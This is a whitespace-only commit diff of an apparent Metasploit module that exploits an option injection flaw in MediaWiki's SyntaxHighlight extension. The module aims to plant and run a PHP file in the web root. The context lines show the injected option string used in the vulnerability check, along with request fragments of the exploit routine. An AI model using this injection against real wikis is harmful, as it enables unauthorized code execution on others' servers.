@@ -11,7 +11,7 @@ def initialize(info = {})
11
11
super ( update_info ( info ,
12
12
'Name' => 'MediaWiki SyntaxHighlight extension option injection vulnerability' ,
13
13
'Description' => %q{
14
- This module exploits an option injection vulnerability in the SyntaxHighlight
14
+ This module exploits an option injection vulnerability in the SyntaxHighlight
15
15
extension of MediaWiki. It tries to create & execute a PHP file in the document root.
16
16
The USERNAME & PASSWORD options are only needed if the Wiki is configured as private.
17
17
} ,
@@ -43,7 +43,7 @@ def initialize(info = {})
43
43
OptBool . new ( 'CLEANUP' , [ false , "Delete created PHP file?" , true ] )
44
44
] )
45
45
end
46
-
46
+
47
47
def check
48
48
res = send_request_cgi ( {
49
49
'method' => 'POST' ,
@@ -56,7 +56,7 @@ def check
56
56
'text' => '<syntaxhighlight lang="java" start="0,full=1"></syntaxhighlight>'
57
57
}
58
58
} )
59
-
59
+
60
60
if ( res && res . headers . key? ( 'MediaWiki-API-Error' ) )
61
61
if ( res . headers [ 'MediaWiki-API-Error' ] == 'internal_api_error_MWException' )
62
62
return Exploit ::CheckCode ::Appears
@@ -68,7 +68,7 @@ def check
68
68
69
69
Exploit ::CheckCode ::Safe
70
70
end
71
-
71
+
72
72
# use deprecated interface
73
73
def login
74
74
print_status ( "Trying to login...." )
@@ -124,7 +124,7 @@ def exploit
124
124
if datastore [ 'USERNAME' ] && datastore [ 'USERNAME' ] . length > 0
125
125
login
126
126
end
127
-
127
+
128
128
check_code = check
129
129
unless check_code == Exploit ::CheckCode ::Detected || check_code == Exploit ::CheckCode ::Appears
130
130
fail_with ( Failure ::NoTarget , "#{ peer } " )
@@ -137,7 +137,7 @@ def exploit
137
137
cleanup = ""
138
138
end
139
139
print_status ( "Local PHP file: #{ cssfile } " )
140
-
140
+
141
141
res = send_request_cgi ( {
142
142
'method' => 'POST' ,
143
143
'uri' => normalize_uri ( target_uri . path , 'api.php' ) ,
@@ -154,4 +154,4 @@ def exploit
154
154
send_request_cgi ( { 'uri' => normalize_uri ( target_uri . path , cssfile ) } )
155
155
end
156
156
end
157
- end
157
+ end
0 commit comments